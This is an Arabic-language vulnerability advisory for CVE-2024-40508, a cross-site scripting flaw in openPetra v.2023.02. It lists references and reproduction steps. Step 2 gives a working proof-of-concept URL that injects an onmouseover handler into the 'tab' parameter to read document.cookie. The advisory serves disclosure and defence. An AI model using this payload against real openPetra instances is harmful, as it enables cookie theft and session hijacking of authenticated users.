CVE-2024-40508

ثغرة البرمجة النصية عبر المواقع (XSS) في openPetra الإصدار v.2023.02 عبر دالة serverMConference.asmx

الوصف: يمكن لمستخدم غير مصادق سرقة ملفات تعريف الارتباط (الكوكيز) من مستخدم مصادق، من خلال استغلال ثغرة XSS في openPetra الإصدار v.2023.02 عبر دالة serverMConference.asmx.

إصدار المنتج المعرّض للثغرة: openPetra v.2023.02
مؤلف CVE: Jansen Moreira التاريخ: 13/07/2024
CVE: CVE-2024-40508
رابط CVE: https://www.cve.org/CVERecord?id=CVE-2024-40508
رابط NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40508
رابط Tenable: https://www.tenable.com/cve/CVE-2024-40508
تم التأكيد في: 13/07/2024
تم الاختبار على: Linux

خطوات إعادة الإنتاج:

1- الوصول إلى الصفحة الرئيسية
2- استخدام المسار التالي وإضافة حمولة XSS في معلمة التبويب (tab). مثال: target.com/api/serverMConference.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- قم بتحريك مؤشر الماوس فوق عنصر الفهرس الأيسر لتفعيل ثغرة XSS